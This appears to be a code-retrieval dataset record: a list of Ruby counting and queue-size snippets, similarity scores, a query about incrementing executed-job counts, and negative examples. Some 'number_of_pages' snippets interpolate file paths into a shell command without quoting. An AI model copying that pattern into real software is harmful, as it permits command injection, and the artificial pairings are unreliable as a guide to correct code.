"def number_of_completed_responses\n if statistics && !statistics.empty? && (completed_data = statistics.find {|a| a[0] == 'Complete'})\n completed_data[1]\n else\n 0\n end\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\n count += %x[identify #{path}].split(image.filename).length-1 #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def concurrent_count\n debug(\"Getting puppet status\")\n\n running = 0\n\n @puppet.status do |resp|\n begin\n running += resp[:body][:data][:running].to_i\n rescue Exception => e\n debug(\"Failed to get node status: #{e}, continuing\")\n end\n end\n\n running\nend",
"def length\n @executor.getPoolSize\n end",
"def count\n # nil is for seq_op => it means the all result go directly to one worker for combine\n @count ||= self.map_partitions('lambda{|iterator| iterator.to_a.size }')\n .aggregate(0, nil, 'lambda{|sum, item| sum + item }')\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\n count += %x[identify \"#{path}\"].split(image.filename).length-1 #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n image_path = @image_folder.detect{|image_string| image_string.downcase == \"#{@image_path}/#{image.image_file_name}\".downcase}\n count += %x[identify #{image_path}].split(image.image_file_name).length-1 rescue nil #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def num_waiting\n @resources.num_waiting\n end",
"def number_of_pages job\r\n count = 0\r\n pages = job.client_images_to_jobs.length\r\n if (@facility.image_type == 1) && (pages < 2)\r\n job.images_for_jobs.each do |image|\r\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\r\n count += %x[identify \"#{path}\"].split(image.filename).length-1 #command for retrieve number of pages in a tiff file (multi/single)\r\n end\r\n pages = count\r\n end\r\n pages\r\n end",
"def get_work_download_count( work )\n return 0 if work.filesets.blank?\n sum = 0\n work.filesets.each { |fs|\n sum += get_file_download_count( fs.id )\n }\n return sum\n end",
"def queue_count\n @queues.length\n end",
"def number_requests\r\n return @requests.length\r\n end",
"def tasks_finished_count\n count do |task|\n task.finished?\n end\n end",
"def queue_length\n @job_queue.length\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/Parser/Images/#{image.filename}\").first\n count += %x[identify \"#{path}\"].split(image.filename).length-1 #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def processings\n @processings.size\n end",
"def work_queue_size()\n @work_queue.size\n end",
"def total_tasks\n tasks.count\n end",
"def count\n @mutex.synchronize { @count }\n end",
"def get_completed_eobs\r\n completed_eobs = 0\r\n self.jobs.each do |job|\r\n # job.eob_count will fetch total EOB count for the job based on count of database table records for EOBs\r\n completed_eobs = job.eob_count + completed_eobs\r\n end\r\n return completed_eobs\r\n end",
"def num_waiting\n @num_waiting\n end",
"def total_unprocessed_tasks_count\n return @total_unprocessed_tasks_count\n end",
"def waitlist_size\n @queue.size\n end",
"def size\n\n fetch_all(:count => true)\n end",
"def count()\n if @count == -1\n params = @params.clone\n params['count'] = 1\n\n res = @api.do_request(\"GET\", @path, params)\n @count = res['count'].to_i\n end\n @count\n end",
"def count\n @count\n end",
"def num_waiting\n @waiting.size + @queue_wait.size\n end",
"def num_waiting\n @waiting.size + @queue_wait.size\n end",
"def number_of_success\n\t\treturn number_of_attempts_with_status(success: true)\n\tend",
"def count\n raw_history['num_results']\n end",
"def number_requests\r\n\t\treturn @requests.length\r\n \tend",
"def running_tasks_count\n @@running_tasks_count\n end",
"def queue_length\n @executor.getQueue.size\n end",
"def running_count(tracking_key)\n Resque.redis.get(running_count_key(tracking_key)).to_i\n end",
"def proc_count()\n @proc_cnt\n end",
"def count()\n\n puts 'inside count'.info if @debug\n\n cmd 'CPMS?' do |r|\n puts 'r: ' + r.inspect if @debug\n total = r.lines[2].split(',')[1].to_i\n puts ('message count: ' + total.to_s).debug if @debug\n\n total\n end\n \n end",
"def get_resultcount\n\t\treturn @resultcount || Afasgem.default_results\n\tend",
"def count\n\t\t@queue.length\n\tend",
"def total_count(queue)\n collection.find(conditions(queue)).count\n end",
"def total_count\n @all.size\n end",
"def num_waiting\n @queue.num_waiting\n end",
"def num_waiting\n end",
"def num_waiting\n end",
"def tasks_finished_count\n inject(0) do |sum, node|\n sum + node.graph.tasks_finished_count\n end\n end",
"def tasks_finished_count\n inject(0) do |sum, node|\n sum + node.graph.tasks_finished_count\n end\n end",
"def getCrawlerCount\n db.execute(\"SELECT count(*) FROM #{@crawlerTable}\")[0][0]\n end",
"def running_thread_count #borrowed from used Kashyap on Stack Overflow\n\t\tThread.list.select {|thread| thread.status == \"run\"}.count\n\tend",
"def count_of_existing_requests_through_step\n req_ids = self.steps.map { |s| s.request_id }.compact.sort.uniq\n count = 0\n while (sub_req_ids = req_ids.slice!(0..(MAX_ITEMS_IN_IN_STATEMENT-1))).size > 0 do\n sub_req_models = Request.functional.find(:all, :conditions => {:id => sub_req_ids})\n count += (sub_req_models.blank? ? 0 : sub_req_models.count)\n end\n return count\n end",
"def num_of_tickets()\n result = films()\n @number_of_tickets = result.count\n end",
"def count_tickets\n tickets = self.tickets\n total_tickets = tickets.count\n return total_tickets\n end",
"def queued_jobs_requesting_gpus_counter(job)\n if is_job_requesting_gpus_and_queued(job)\n #@queued_jobs_requesting_gpus += 1\n return 0\n end\n end",
"def get_task_count\n variables.has_key?(:task_count) ? variables[:task_count] : 14\n end",
"def queue_count()\n @queue.length\n end",
"def queue_count()\n @work_queue.size + super()\n end",
"def count\n @options[:select] = \"COUNT\"\n @options.delete(:attributes_to_get)\n\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n response.count\n end",
"def length\n mutex.synchronize { running? ? @pool.length : 0 }\n end",
"def num_waiting\n synchronize do\n @num_waiting\n end\n end"
] |
[
"0.78005016",
"0.7780384",
"0.76967335",
"0.7480556",
"0.74067825",
"0.73835206",
"0.7334956",
"0.7324176",
"0.725459",
"0.7206978",
"0.7091343",
"0.7083196",
"0.7032747",
"0.7009626",
"0.6923794",
"0.6831941",
"0.68133354",
"0.6761348",
"0.67588305",
"0.675495",
"0.6743835",
"0.6735136",
"0.67206943",
"0.67206943",
"0.6639739",
"0.66363347",
"0.6597567",
"0.6594571",
"0.6594571",
"0.65847397",
"0.65757173",
"0.6525127",
"0.6493598",
"0.64779353",
"0.64701",
"0.6460589",
"0.6425185",
"0.6422679",
"0.641755",
"0.64088976",
"0.6399713",
"0.6399454",
"0.6363115",
"0.6363115",
"0.6359102",
"0.63476026",
"0.6346852",
"0.63364506",
"0.6332596",
"0.63283",
"0.6315774",
"0.63127726",
"0.6304268",
"0.63013464",
"0.62964445",
"0.629418",
"0.6290804",
"0.62898636",
"0.62796915",
"0.62606514",
"0.62603015",
"0.6257277",
"0.6253207",
"0.6248915",
"0.62480116",
"0.6246983",
"0.62390685",
"0.62356144",
"0.6234196",
"0.62258077",
"0.62199783",
"0.62199783",
"0.6218168",
"0.61992747",
"0.61991596",
"0.6198509",
"0.619805",
"0.6194282",
"0.6181454",
"0.61804813",
"0.6176837",
"0.61734825",
"0.6162234",
"0.6160212",
"0.6149086",
"0.61475664",
"0.61475664",
"0.61380243",
"0.61380243",
"0.61337173",
"0.61310333",
"0.6124629",
"0.6121232",
"0.61191607",
"0.61159194",
"0.6113515",
"0.6110725",
"0.61069846",
"0.61059195",
"0.6103564",
"0.61033946"
] |
0.0
|
-1
|
Increment the count of jobs executed.
|
def increment
self.class.increment(self)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def after_perform_increment_jobs_processed(*)\n @registry.hincrby key, 'jobs_processed', 1\n end",
"def after_perform_job_stats_performed(*args)\n Resque.redis.incr(jobs_performed_key)\n end",
"def incr_count\n @count ||= 0\n @count += 1\n end",
"def increment_counter\n unless self.count.nil?\n self.count += 1\n else\n self.count = 1\n end\n end",
"def increment_completed_task_count\n new_completed_count = increment(:completed_task_count)\n \n # the job is complete if the completed_task_count == the total task count\n if new_completed_count == task_count\n mark_complete!\n enqueue_callback\n enqueue_notification\n end\n \n new_completed_count\n end",
"def executions_count\n aj_count = serialized_params.fetch('executions', 0)\n # The execution count within serialized_params is not updated\n # once the underlying execution has been executed.\n if status.in? [:discarded, :succeeded, :running]\n aj_count + 1\n else\n aj_count\n end\n end",
"def add_to_count\n @count += 1\n end",
"def count\n run.count\n end",
"def increment_processed_items\n processed_items = $redis.hgetall(redis_key)['processed_items'].to_i\n processed_items += 1\n\n $redis.hset(redis_key, :processed_items, processed_items)\n end",
"def count\n @mutex.synchronize { @count }\n end",
"def pending_job_count\n\n @pending_jobs.size\n end",
"def count\n @mutex.synchronize do\n count_nonsynchronize\n end\n end",
"def count!\n if not self.count.nil? then self.count += 1; else self.count = 1; end\n end",
"def increment_number\n @number_of_repos += 1\n end",
"def execute_batch_counting(projects_relation)\n end",
"def queued_jobs_requesting_gpus_counter(job)\n if is_job_requesting_gpus_and_queued(job)\n #@queued_jobs_requesting_gpus += 1\n return 0\n end\n end",
"def do_something_with_my_count\r\n @my_count += 1\r\n end",
"def increment_count\n session[:count] += 1\n @count = session[:count]\n end",
"def jobs_performed\n Resque.redis.get(jobs_performed_key).to_i\n end",
"def count\n @count ||= 0\n @count += 1\n end",
"def increment_transaction_count!\n @transaction_count += 1\n end",
"def increment_iterations_counter\n @iterations += 1\n raise \"iteration limit reached\" if @iterations > @max_iterations\n end",
"def queue_count()\n cnt = 0\n @tasks.each_value { |task| cnt += task.queue_count() }\n cnt\n end",
"def increment\n @counter = @counter + 1\n end",
"def increment(*)\n @build += 1\n end",
"def increment\n @attempt += 1\n log\n end",
"def increment_count_generated_url\n CountWorker.perform_async\n end",
"def increment_count(current_count)\n current_count.to_i + 1\n end",
"def invoke_job\n self.attempts += 1\n payload_object.perform\n end",
"def queue_count()\n @work_queue.size + super()\n end",
"def increment \n\t\t@counter = @counter + 1\n\tend",
"def cron_job_count\n\n @cron_jobs.size\n end",
"def incr\n add(1)\n end",
"def every_job_count\n\n @non_cron_jobs.values.select { |j| j.class == EveryJob }.size\n end",
"def at_job_count\n\n @non_cron_jobs.values.select { |j| j.class == AtJob }.size\n end",
"def njobs\n @pool.njobs\n end",
"def worker_count\n @action == 'run' ? 1 : workers\n end",
"def method()\n @workers.size\n end",
"def njobs\n @njobs.to_i\n end",
"def increment_update_count\n self.settings.increment!(:updates) if settings\n end",
"def applied_count(job)\n job.applied_jobs.where(status: 0).count +\n job.applied_jobs.where(status: 3).count\n end",
"def increase_item_count(index)\n current_value = @item_counts[index] ||= 0\n\n @item_counts[index] = current_value + 1\n end",
"def complete_check_count\r\n check_number = []\r\n self.jobs.each do |job|\r\n if job.job_status = JobStatus::COMPLETED\r\n check_number << job.check_number\r\n end\r\n end\r\n check_number.uniq!\r\n if check_number.nil?\r\n return 0\r\n else\r\n return check_number.size\r\n end\r\n end",
"def update_os_process_counter_cache\n self.os_process_count.upto(self.os_processes.size - 1) do\n Fingerprint.increment_counter(:os_process_count, self.id)\n end\n end",
"def tasks_finished_count\n count do |task|\n task.finished?\n end\n end",
"def incr_counter!(name, val = 1)\n counter = self.send(name.to_sym)\n counter.incr(val)\n save\n counter.reconcile!\n end",
"def increment!\n self.times += 1\n self.save\n end",
"def increment_tries\n @tries += 1\n end",
"def quantity\n @task_worker_lock.synchronize {@task_workers.size}\n end",
"def increment *args\n accumulators.incr(scope(*args))\n end",
"def inc_usage\n @mutex.synchronize { @usage_count += 1 }\n end",
"def increment(key)\n @counter[key] += 1\n end",
"def modify_count(delta)\n @count += delta\n raise Errors::NegativeWaitGroupCount if @count < 0\n @cvar.signal if @count == 0\n end",
"def images_count\r\n images_count = 0\r\n jobs.each do |job|\r\n images_count += job.images_for_jobs.count\r\n end\r\n images_count\r\n end",
"def increment_iteration\n @iteration += 1\n end",
"def num_waiting\n synchronize do\n @num_waiting\n end\n end",
"def num_waiting\n synchronize do\n @num_waiting\n end\n end",
"def increment_counter\n if self.class.column_names.include? (\"cares_count\")\n self.class.increment_counter(\"cares_count\", self.id)\n end\n end",
"def increment_hit_count()\n hit = nil\n begin\n hit = hits.find_or_create_by_hit_date!(Time.now.to_date)\n rescue ActiveRecord::RecordInvalid\n hit = hits.find_by_hit_date(Time.now.to_date)\n end\n hit.count += 1\n hit.save!\n end",
"def count_jobs\n \tself.bugs.bug_has_closed.count\n end",
"def get_job_count(type='scanner')\n job_count = 0\n framework.jobs.each do |k, j|\n if j.name =~ /#{type}/\n job_count = job_count + 1\n end\n end\n return job_count\n end",
"def increment!\n\t\t\t\t@vertices += 1\n\t\t\t\t@count += 1\n\t\t\tend",
"def crow\n self.schedule_time_based_actions_and_messages # Reschedule messages and actions\n self.update_attributes(:num_crows => self.num_crows+1)\n end",
"def increment_click_count\n update(click_count: click_count + 1)\n end",
"def inc_count\n role = self.role == 'Manager' ? :manager_count : :employee_count\n self.company.count.update_attribute(role, self.company.count.read_attribute(role)+1)\n end",
"def hit_count_increament\n self.hit_count = self.hit_count + 1\n self.update\n end",
"def increment_assertion_count\n end",
"def refresh_counts!\n \n counters = {}\n \n counters[:bookmarks_count] = self.bookmarks(:refresh).length\n counters[:comments_count] = self.comments(:refresh).length\n counters[:hosted_instances_count] = self.hosted_instances(:refresh).length\n counters[:instructions_count] = self.instructions(:refresh).length\n counters[:screenshots_count] = self.screenshots(:refresh).length\n counters[:versions_count] = self.versions(:refresh).length\n \n # how the fuck am I supposed to set the damn counters?\n # ActiveRecord::Base::update_counters is bullshit, it only does increment/decrement\n\n # so whatever, I'm doing it manually\n set_values = ActiveRecord::Base.send :sanitize_sql_for_assignment, counters\n update_sql = \"UPDATE projects SET #{set_values} WHERE id=#{self.id}\"\n Project.connection.execute(update_sql)\n end",
"def set_NumberOfJobs(value)\n set_input(\"NumberOfJobs\", value)\n end",
"def accumulate *_\n self.count += 1\n end",
"def increment_counter!\n # Increment the counter\n sql(:execute, %(\n INSERT INTO knifeswitch_counters (name,counter)\n VALUES (?, 1)\n ON DUPLICATE KEY UPDATE counter=counter+1\n ), namespace)\n\n # Possibly open the circuit\n sql(\n :execute,\n %(\n UPDATE knifeswitch_counters\n SET closetime = ?\n WHERE name = ? AND COUNTER >= ?\n ),\n DateTime.now + error_timeout.seconds,\n namespace, error_threshold\n )\n end",
"def increment_click_count!\n self.increment! :click_count\n end",
"def add_total_kill\n\t\t@total_kills += 1\n\tend",
"def inc\n $i + 1\n end",
"def log_incr(*args)\n log(*args) unless args.empty?\n @log_indents[Thread.current] += 1\n end",
"def increment_order!\n @current += 1\n end",
"def increment_running_count(tracking_key)\n count_key = running_count_key(tracking_key)\n value = Resque.redis.incr(count_key)\n restricted = (value >= concurrent_limit)\n mark_runnable(tracking_key, !restricted)\n return restricted\n end",
"def submit()\n @_jobs.each{|job| self.jobids << job.submit()}\n end",
"def increment_quizzes\n new_quizzes_completed = self['quizzes_completed'] + 1\n self.update(:quizzes_completed => new_quizzes_completed)\n\n awarded_badges = Badge.all(:requirement => \"quizzes_complete\", :required_value => new_quizzes_completed)\n awarded_badges.each do |badge|\n self.badges << badge\n self.save\n end\n end",
"def increment_counter(counter_name, id)\n update_all \"#{counter_name} = #{counter_name} + 1\", \"#{primary_key} = #{id}\"\n end",
"def incr!\n self.update_attributes(:attempts => self.attempts+1, :last_logged => Time.now)\n end",
"def increment_counter(key)\n if @counters.key?(key)\n @counters[key] += 1\n else\n @counters[key] = 1\n end\n end",
"def increment_quantity\n @quantity += 1\n end",
"def update_progress(collection_name, count, isCommitted = false)\n if !(@version > 0)\n STDERR.puts \"No claim made!\"\n else\n begin\n @payload[\"collection_count_\" + collection_name] = count\n @payload[\"collection_finished_\" + collection_name] = isCommitted\n @version = update_with_version(@index_name, @version, [@payload])\n rescue ResponseError => e\n if e.response.eql?(\"409\")\n raise ConcurrentSolrUpdateError, \"Our version is not the latest, maybe we already relinquished?\"\n else\n raise\n end\n end\n end\n end",
"def update!\n scheduling.total_runs = scheduling.total_runs.to_i + qjob.stats['releases']\n scheduling.last_run = Time.now\n end",
"def signalProcessCompletion()\n $incidentCount +=1;\n puts $incidentCount;\nend",
"def process_incrby(command)\n perform_add(command.first, command[1])\n end",
"def increment_views_count\n increment(:views_count)\n save\n end",
"def auto_increment\n @@count_class_instances += 1\n end",
"def increment_games_played\n self.games_played += 1\n end",
"def increment\n curr_value = counter\n self.counter = curr_value + 1\n save\n curr_value\n end",
"def increment_counter(counter)\n\tcounter += 1\n\treturn counter\nend",
"def squeal_increment\n Squeal.increment self\n end",
"def count!\n count(nil)\n end",
"def processed!\n Resque::Stat << \"processed\"\n Resque::Stat << \"processed:#{self}\"\n Resque::Stat << \"processed_#{job['queue']}\"\n end",
"def num_child_jobs\n @gapi.statistics.num_child_jobs || 0\n end",
"def increment(name)\n update(name)\n end",
"def increment element\n element.perform :increment\n end",
"def re_dispatch_count\n\n h.re_dispatch_count || 0\n end",
"def processed!\n Resque::Stat << \"processed\"\n Resque::Stat << \"processed:#{self}\"\n Resque::Stat << \"processed_#{job.queue}\"\n end"
] |
[
"0.77765244",
"0.7092795",
"0.697191",
"0.67156893",
"0.6712472",
"0.6695684",
"0.6619666",
"0.65405416",
"0.65357906",
"0.64304155",
"0.6377493",
"0.6367806",
"0.63585466",
"0.63034636",
"0.6255497",
"0.6234528",
"0.6204761",
"0.61613876",
"0.6154782",
"0.61543",
"0.6141873",
"0.6140142",
"0.6109907",
"0.6106045",
"0.60692596",
"0.60468096",
"0.6031429",
"0.60300356",
"0.6026927",
"0.6005666",
"0.60034007",
"0.60021377",
"0.5973999",
"0.5967375",
"0.5958557",
"0.5954595",
"0.5936357",
"0.5923711",
"0.5923489",
"0.58801997",
"0.58754313",
"0.5829317",
"0.58265173",
"0.5820625",
"0.5812236",
"0.58112764",
"0.5807",
"0.5806344",
"0.5801029",
"0.579723",
"0.579162",
"0.5786447",
"0.5766961",
"0.5766238",
"0.576493",
"0.5741192",
"0.5741192",
"0.573488",
"0.57235914",
"0.57170945",
"0.57167876",
"0.57072043",
"0.569379",
"0.56743675",
"0.56718844",
"0.5671694",
"0.5666479",
"0.56568563",
"0.5649119",
"0.56476593",
"0.56374794",
"0.56364435",
"0.5633516",
"0.5628897",
"0.56285906",
"0.56112134",
"0.55936897",
"0.55892515",
"0.5589067",
"0.5587839",
"0.5566023",
"0.5561963",
"0.55577236",
"0.5556578",
"0.55423963",
"0.5537555",
"0.5529923",
"0.55251545",
"0.55203056",
"0.5517998",
"0.55170953",
"0.55159426",
"0.5514177",
"0.55127996",
"0.5512315",
"0.5510066",
"0.550782",
"0.550543",
"0.55048275",
"0.5497721"
] |
0.5914969
|
39
|
Check if rate limiting options were correctly specified on the worker.
|
def can_throttle?
[threshold, period].select(&:zero?).empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_for_rate_limits\n rate_limit_remaining < 10\n end",
"def rate_limit\n options[:rate_limit]\n end",
"def has_limit?\n !@options[:limit].blank?\n end",
"def should_be_limited?\n @options[:limit] == true or (@options[:limit].is_a?(Fixnum) and @options[:limit] > 0)\n end",
"def rate_limit_available?(env)\n env.key?(rack_attack_key) && (env[rack_attack_key].keys & throttle).any?\n end",
"def check_rate\n if not @intercom.rate_limit_details[:remaining].nil? and @intercom.rate_limit_details[:remaining] < 2\n sleep_time = @intercom.rate_limit_details[:reset_at].to_i - Time.now.to_i\n puts(\"Waiting for #{sleep_time} seconds to allow for rate limit to be reset\")\n sleep sleep_time\n end\n else\n end",
"def check_rate\n if not @intercom.rate_limit_details[:remaining].nil? and @intercom.rate_limit_details[:remaining] < 2\n sleep_time = @intercom.rate_limit_details[:reset_at].to_i - Time.now.to_i\n puts(\"Waiting for #{sleep_time} seconds to allow for rate limit to be reset\")\n sleep sleep_time\n end\n end",
"def over_limit?\n connect\n redis.incr rate_limiter_key\n redis.get(rate_limiter_key).to_i > limit\n end",
"def rate_limited_exceeded?\n limit = get_json( \"#{ GITHUB_API_URL }/rate_limit\" )[ 'rate' ][ 'remaining' ]\n limit == 0 ? true : false\nend",
"def rate_limit_check\n status = 200\n result = {}\n if rate_limit_on?\n if rate_limit_left > 0\n status = 429\n result[:error] = \"you need to wait #{rate_limit_left} ms before you can request anything again\"\n render status: status, json: result\n end\n end\n end",
"def over_rate_limit?\n window = 10.minutes.ago.to_i\n interval = 30.seconds.to_i\n \n return true if rate_limit.present? and rate_limit > Time.now.to_i\n if rate_limit.nil? or rate_limit < window\n self.rate_limit = window\n end\n self.rate_limit += interval\n self.save!\n false\n end",
"def over_rate_limit?\n window = 10.minutes.ago.to_i\n interval = 30.seconds.to_i\n \n return true if rate_limit.present? and rate_limit > Time.now.to_i\n if rate_limit.nil? or rate_limit < window\n self.rate_limit = window\n end\n self.rate_limit += interval\n self.save!\n false\n end",
"def ensure_rate_limits\n sleep 1 / REQUST_LIMIT_PER_MINUTE.to_f\n end",
"def limit_reached?\n end",
"def throttled?\n @throttle >= params[:throttle].value\n end",
"def checkOptions\n if request.options?\n render nothing: true and return\n end\n end",
"def satisfied?\n @options[:limit] > 0 && @count >= @options[:limit]\n end",
"def allowed?(request)\n whitelisted?(request) && !blacklisted?(request) && meets_quota?\n end",
"def only_or_except_limit_execution(options, option_name, key)\n if options[option_name].is_a?(Hash)\n if options[option_name].has_key?(:except)\n return true if Array(options[option_name][:except]).include?(key)\n elsif options[option_name].has_key?(:only)\n return true unless Array(options[option_name][:only]).include?(key)\n end\n end\n return false\n end",
"def before\n endpoint = env['api.endpoint']\n logger = options[:logger] || Logger.new($stdout)\n\n return unless throttle_options = endpoint.route_setting(:throttle)\n\n limit, period = find_limit_and_period(throttle_options)\n\n check_limit_and_period(limit, period)\n\n limit = limit.call(env) if limit.is_a?(Proc)\n return true if limit.negative?\n\n user_value = find_user_value(options) || \"ip:#{env['REMOTE_ADDR']}\"\n rate_key = generate_rate_key(endpoint, user_value)\n\n begin\n redis = options[:cache]\n redis.ping\n\n current = redis.get(rate_key).to_i\n\n if !current.nil? && current >= limit\n endpoint.error!('Too Many Requests', 429)\n else\n redis.multi do\n redis.set(rate_key, COUNTER_START, nx: true, ex: period.to_i)\n redis.incr(rate_key)\n end\n end\n rescue StandardError => e\n logger.warn(e.message)\n end\n end",
"def limit_rate(opts = {})\n opts = opts.clone\n queue_name = Resque.queue_from_class(self).to_s\n\n if opts.include?(:api)\n queue_name += opts[:api].to_s\n opts.delete(:api)\n end\n if opts.include?(:reserved_rate)\n @reserved_rate = opts[:reserved_rate].to_i\n Resque::Job.reserved_rates[queue_name] = @reserved_rate\n opts.delete(:reserved_rate)\n end\n\n opts.each do |o|\n restriction = RateLimiter::RateRestriction.new(queue_name, o[0], o[1])\n self.restrictions << restriction\n Resque::Job.rate_limiter.add_restriction(restriction)\n end\n end",
"def check_for_available_workers\n workers >= working_count\n end",
"def rate_limited?(thing, rate_limit_time = nil, increment: 1)\n key = resolve_key thing\n limit_hash = @bucket[key]\n\n # First case: limit_hash doesn't exist yet\n unless limit_hash\n @bucket[key] = {\n last_time: Time.now,\n set_time: Time.now,\n count: increment\n }\n\n return false\n end\n\n # Define the time at which we're being rate limited once so it doesn't get inaccurate\n rate_limit_time ||= Time.now\n\n if @limit && (limit_hash[:count] + increment) > @limit\n # Second case: Count is over the limit and the time has not run out yet\n return (limit_hash[:set_time] + @time_span) - rate_limit_time if @time_span && rate_limit_time < (limit_hash[:set_time] + @time_span)\n\n # Third case: Count is over the limit but the time has run out\n # Don't return anything here because there may still be delay-based limiting\n limit_hash[:set_time] = rate_limit_time\n limit_hash[:count] = 0\n end\n\n if @delay && rate_limit_time < (limit_hash[:last_time] + @delay)\n # Fourth case: we're being delayed\n (limit_hash[:last_time] + @delay) - rate_limit_time\n else\n # Fifth case: no rate limiting at all! Increment the count, set the last_time, and return false\n limit_hash[:last_time] = rate_limit_time\n limit_hash[:count] += increment\n false\n end\n end",
"def limit?\n @headers.key?('x-ratelimit-limit')\n end",
"def rate_limit_interval\n interval = ENV['RATE_LIMIT_INTERVAL'].to_i\n interval > 0 ? interval : 1\n end",
"def twist_limits_enabled?\n MSPhysics::Newton::BallAndSocket.twist_limits_enabled?(@address)\n end",
"def throttled?\n Throttled.throttled? job\n end",
"def check_whitelist(spark, options)\n begin\n whitelisted?(spark, options) ? true : (raise ArgumentError.new(\"Illegal argument in topic or task\"))\n rescue => e\n reject_spark spark, e\n false\n end\n end",
"def rate_limited?\n tries = redis.get(key=\"tries:#{@env['REMOTE_ADDR']}\").to_i\n\n if tries > 10\n true\n else\n # give the key a new value and tell it to expire in 30 seconds\n redis.set(key, tries+1)\n redis.expire(key, 30)\n false\n end\n end",
"def valid?\n return false if !@monitor_priority.nil? && @monitor_priority > 5\n return false if !@monitor_priority.nil? && @monitor_priority < 1\n return false if !@tick_every.nil? && @tick_every > 604800\n return false if !@tick_every.nil? && @tick_every < 30\n true\n end",
"def throttle_exceeded?\n max_active_workers ? (input.active_count >= max_active_workers) : false\n end",
"def validate_params\n required_params = if @workers_scaling_params[:plgrid_default]\n [:worker_time_limit]\n else\n [:name, :allowed_resource_configurations, :experiment_execution_time_limit]\n end\n required_params.each do |param|\n Utils::raise_error_unless_has_key(@workers_scaling_params, param, \"#{MESSAGE_PREFIX} #{param}\",\n 'workers_scaling_params')\n end\n # TODO more precise validation\n end",
"def vote_limit_enabled?\n vote_limit.present?\n end",
"def last_request_update_allowed?\n action_name != \"timeout\"\n end",
"def has_unlimited_flags?\n return true if is_approver?\n end",
"def limits?\n out=@linker.call(\"account\",\"limits\")\n if(out[\"status\"].to_sym == :success)\n return out[\"usage\"]\n else\n return nil\n end\n end",
"def overloaded?\n queue.size / max_queue_size > QUEUE_OVERLOAD_FRACTION\n end",
"def rate_limit\n if current_user.nil?\n rate_limit_by_api_key\n else\n rate_limit_by_user\n end\n end",
"def validate_options(options)\n raise TypeError.new(\"provided options must be a Hash\") unless options.is_a?(Hash)\n check_for_illegal_keys!(options)\n options = set_deduct_call_time_based_on_metric(DEFAULT_SETTINGS.merge(options))\n check_for_push_scope_and_metric(options)\n options\n end",
"def post_action_rate_limiter\n return unless is_flag? || is_bookmark? || is_like?\n\n return @rate_limiter if @rate_limiter.present?\n\n %w(like flag bookmark).each do |type|\n if public_send(\"is_#{type}?\")\n limit = SiteSetting.get(\"max_#{type}s_per_day\")\n\n if is_like? && user && user.trust_level >= 2\n multiplier = SiteSetting.get(\"tl#{user.trust_level}_additional_likes_per_day_multiplier\").to_f\n multiplier = 1.0 if multiplier < 1.0\n\n limit = (limit * multiplier).to_i\n end\n\n @rate_limiter = RateLimiter.new(user, \"create_#{type}\", limit, 1.day.to_i)\n return @rate_limiter\n end\n end\n end",
"def allow?(size)\n allowed = should_allow?(size)\n update_rate_counts(allowed)\n allowed\n end",
"def poll\n options['poll'] || 10\n end",
"def validate_limit!(options)\r\n options[:limit] ||= MAXIMUM_LIMIT\r\n if options[:limit].to_i > MAXIMUM_LIMIT || options[:limit].to_i < 1\r\n raise InvalidLimit,\r\n \"limit must be a number between 1 and #{MAXIMUM_LIMIT}\"\r\n end\r\n\r\n options[:limit]\r\n end",
"def validate_public_options(options)\n options.each do |k, _v|\n case k\n when :controller_info,\n /enabled_for_/,\n :enabled,\n :whodunnit\n next\n else\n raise InvalidOption, \"Invalid option: #{k}\"\n end\n end\n end",
"def rate_limit_exceeded\n headers = respond_to?(:retry_after) ? {'Retry-After' => retry_after.to_f.ceil.to_s} : {}\n http_error(options[:code] || 403, options[:message], headers)\n end",
"def throttle?\n false\n end",
"def rate_limit\n connection.rate_limit\n end",
"def check_allowed_interval(safety_parameters)\r\n allowed_interval = safety_parameters[:allowed_interval]\r\n unless allowed_interval.class.superclass == Numeric\r\n fail \"Allowed interval parameter passed is not a number. It was: #{allowed_interval}\"\r\n else \r\n @allowed_interval = allowed_interval\r\n end\t\r\n end",
"def limit_jobs?\n !self[:scheduling].nil? && self[:scheduling] == false\n end",
"def enforce_rate_limit\n allowance = (session[:js_exception_notifier_allowance] || THROTTLE_MAX_RATE).to_f\n last_error_at = (session[:js_exception_notifier_last_error_at] || Time.now).to_i\n\n current_time = Time.now.to_i\n time_passed = current_time - last_error_at\n session[:js_exception_notifier_last_error_at] = current_time\n\n allowance += time_passed * (THROTTLE_MAX_RATE / THROTTLE_DURATION)\n allowance = THROTTLE_MAX_RATE if allowance > THROTTLE_MAX_RATE\n\n if allowance < 1.0\n session[:js_exception_notifier_allowance] = allowance\n if Rails.env.production?\n render json: {}, status: 200\n else\n render json: { text: \"You reached error limit!\" }, status: 422\n end\n else\n session[:js_exception_notifier_allowance] = allowance - 1.0\n end\n end",
"def over_limit?\n self.plan.limit.to_i > 0 && self.sms_usage >= self.plan.limit\n end",
"def throttle?\n parser.throttle?\n end",
"def validate_options\n true\n end",
"def invalid_options?\n options[:api_key].nil? || options[:blog].nil?\n end",
"def connected?\n redis.exists(rate_limiter_key) == 1 &&\n redis.ttl(rate_limiter_key).to_i.positive?\n end",
"def check_for_missing_enabled_option(hash); end",
"def rate_limit_calls\n calls = ENV['RATE_LIMIT_CALLS'].to_i\n calls > 0 ? calls : 5\n end",
